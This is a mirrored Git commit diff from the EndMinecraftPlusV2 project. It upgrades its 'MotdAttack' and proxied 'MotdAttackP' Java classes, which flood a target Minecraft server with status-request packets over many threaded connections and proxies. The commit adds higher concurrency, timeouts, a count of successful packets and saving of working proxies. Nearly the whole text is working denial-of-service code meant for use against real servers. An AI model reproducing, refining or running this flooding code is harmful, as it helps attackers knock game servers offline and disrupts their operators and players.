mirror of
https://github.com/SerendipityR-2022/EndMinecraftPlusV2.git
synced 2024-10-31 20:08:00 +00:00
MotdAttack高并发优化 支持显示有效包数
This commit is contained in:
parent
091df1700d
commit
89924f936a
@ -8,7 +8,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
|||||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
|
||||||
|
|
||||||
public class EndMinecraftPlusV2 {
|
public class EndMinecraftPlusV2 {
|
||||||
public static String ver = "1.2.9";
|
public static String ver = "1.3.0";
|
||||||
public static Integer CfgVer = 3;
|
public static Integer CfgVer = 3;
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
@ -5,7 +5,9 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
|||||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.Socket;
|
import java.net.Socket;
|
||||||
@ -14,57 +16,78 @@ import java.util.List;
|
|||||||
|
|
||||||
public class MotdAttack extends IAttack {
|
public class MotdAttack extends IAttack {
|
||||||
public List<Thread> threads = new ArrayList<>();
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
public long starttime;
|
||||||
private int runTimes = 0;
|
private int runTimes = 0;
|
||||||
|
private int successTimes = 0;
|
||||||
private int errorTimes = 0;
|
private int errorTimes = 0;
|
||||||
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
super(ip, port, time, maxconnect, joinsleep);
|
super(ip, port, time, maxconnect, joinsleep);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void start() {
|
public void start() {
|
||||||
Runnable task = () -> {
|
starttime = System.currentTimeMillis();
|
||||||
|
|
||||||
|
if (this.attack_maxconnect < 1) {
|
||||||
|
this.attack_maxconnect = 10;
|
||||||
|
}
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
|
||||||
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
|
stop();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
runTimes++;
|
||||||
|
|
||||||
|
Thread task = new Thread(() -> {
|
||||||
try {
|
try {
|
||||||
Socket socket = new Socket();
|
Socket socket = new Socket();
|
||||||
socket.connect(new InetSocketAddress(ip, port));
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
if (socket.isConnected()) {
|
|
||||||
LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName());
|
while (socket.isConnected() && !socket.isClosed()) {
|
||||||
OutputStream out = socket.getOutputStream();
|
OutputStream out = socket.getOutputStream();
|
||||||
|
InputStream in = socket.getInputStream();
|
||||||
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||||
out.flush();
|
out.flush();
|
||||||
while (socket.isConnected()) {
|
|
||||||
for (int i = 0; i < 10; i++) {
|
|
||||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
|
||||||
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||||
runTimes++;
|
|
||||||
}
|
|
||||||
out.flush();
|
out.flush();
|
||||||
|
|
||||||
|
byte[] buffer = new byte[12800];
|
||||||
|
if (in.read(buffer) != -1) {
|
||||||
|
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
successTimes++;
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
out.close();
|
|
||||||
socket.close();
|
socket.close();
|
||||||
} catch (IOException ignored) {}
|
|
||||||
LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName());
|
|
||||||
OtherUtils.doSleep(attack_joinsleep);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
if (ConfigUtil.ShowFails) {
|
if (ConfigUtil.ShowFails) {
|
||||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
|
||||||
}
|
}
|
||||||
errorTimes++;
|
errorTimes++;
|
||||||
}
|
}
|
||||||
}
|
});
|
||||||
};
|
|
||||||
|
|
||||||
if (this.attack_maxconnect < 1) {
|
threads.add(task);
|
||||||
this.attack_maxconnect = 10;
|
task.setName(String.valueOf(runTimes));
|
||||||
}
|
task.start();
|
||||||
|
|
||||||
for (int i = 0; i < this.attack_maxconnect; i++) {
|
new Thread(() -> {
|
||||||
Thread thread = new Thread(task);
|
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
||||||
thread.setName(String.valueOf(i + 1));
|
if (task.isAlive()) {
|
||||||
thread.start();
|
task.stop();
|
||||||
threads.add(thread);
|
}
|
||||||
|
threads.remove(task);
|
||||||
|
}).start();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,8 +1,10 @@
|
|||||||
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
|
||||||
|
|
||||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||||
|
import org.spacehq.packetlib.Client;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.net.Proxy;
|
import java.net.Proxy;
|
||||||
@ -12,7 +14,9 @@ import java.util.List;
|
|||||||
|
|
||||||
public class MotdAttackP extends IAttack {
|
public class MotdAttackP extends IAttack {
|
||||||
public List<Thread> threads = new ArrayList<>();
|
public List<Thread> threads = new ArrayList<>();
|
||||||
|
public long starttime;
|
||||||
private int runTimes = 0;
|
private int runTimes = 0;
|
||||||
|
private int successTimes = 0;
|
||||||
private int errorTimes = 0;
|
private int errorTimes = 0;
|
||||||
|
|
||||||
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||||
@ -20,6 +24,8 @@ public class MotdAttackP extends IAttack {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public void start() {
|
public void start() {
|
||||||
|
starttime = System.currentTimeMillis();
|
||||||
|
|
||||||
Proxy.Type proxyType;
|
Proxy.Type proxyType;
|
||||||
switch (ConfigUtil.ProxyType) {
|
switch (ConfigUtil.ProxyType) {
|
||||||
case 3:
|
case 3:
|
||||||
@ -32,20 +38,38 @@ public class MotdAttackP extends IAttack {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
while (true) {
|
||||||
for (String p: ProxyUtil.proxies) {
|
for (String p: ProxyUtil.proxies) {
|
||||||
|
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||||
|
stop();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
String[] _p = p.split(":");
|
String[] _p = p.split(":");
|
||||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||||
Thread thread = createThread(proxy, ip, port);
|
Thread thread = createThread(proxy, ip, port);
|
||||||
thread.start();
|
thread.start();
|
||||||
|
thread.setName(String.valueOf(runTimes));
|
||||||
threads.add(thread);
|
threads.add(thread);
|
||||||
if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect))
|
|
||||||
return;
|
new Thread(() -> {
|
||||||
|
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
||||||
|
if (thread.isAlive()) {
|
||||||
|
thread.stop();
|
||||||
|
}
|
||||||
|
threads.remove(thread);
|
||||||
|
}).start();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
LogUtil.doLog(1,"发生错误: " + e, null);
|
LogUtil.doLog(1,"发生错误: " + e, null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("deprecation")
|
@SuppressWarnings("deprecation")
|
||||||
public void stop() {
|
public void stop() {
|
||||||
@ -53,42 +77,41 @@ public class MotdAttackP extends IAttack {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public Thread createThread(Proxy proxy, String ip, int port) {
|
public Thread createThread(Proxy proxy, String ip, int port) {
|
||||||
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
|
||||||
|
runTimes++;
|
||||||
Runnable task = () -> {
|
Runnable task = () -> {
|
||||||
while (true) {
|
|
||||||
try {
|
try {
|
||||||
Socket socket = new Socket(proxy);
|
Socket socket = new Socket(proxy);
|
||||||
socket.connect(new InetSocketAddress(ip, port));
|
socket.connect(new InetSocketAddress(ip, port));
|
||||||
if (socket.isConnected()) {
|
|
||||||
LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName());
|
while (socket.isConnected() && !socket.isClosed()) {
|
||||||
OutputStream out = socket.getOutputStream();
|
OutputStream out = socket.getOutputStream();
|
||||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
InputStream in = socket.getInputStream();
|
||||||
|
out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
|
||||||
out.flush();
|
out.flush();
|
||||||
while (socket.isConnected()) {
|
out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
||||||
for (int i = 0; i < 10; i++) {
|
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
|
||||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes);
|
|
||||||
out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
|
|
||||||
0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00});
|
|
||||||
runTimes++;
|
|
||||||
}
|
|
||||||
out.flush();
|
out.flush();
|
||||||
|
|
||||||
|
byte[] buffer = new byte[12800];
|
||||||
|
if (in.read(buffer) != -1) {
|
||||||
|
LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
|
||||||
|
successTimes++;
|
||||||
|
if (ConfigUtil.SaveWorkingProxy) {
|
||||||
|
ProxyUtil.saveWorkingProxy(proxy);
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
out.close();
|
|
||||||
socket.close();
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
}
|
}
|
||||||
|
|
||||||
LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName());
|
socket.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
OtherUtils.doSleep(attack_joinsleep);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
if (ConfigUtil.ShowFails) {
|
if (ConfigUtil.ShowFails) {
|
||||||
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName());
|
||||||
}
|
}
|
||||||
errorTimes++;
|
errorTimes++;
|
||||||
}
|
}
|
||||||
|
|
||||||
OtherUtils.doSleep(attack_joinsleep);
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
return new Thread(task);
|
return new Thread(task);
|
||||||
|
Loading…
Reference in New Issue
Block a user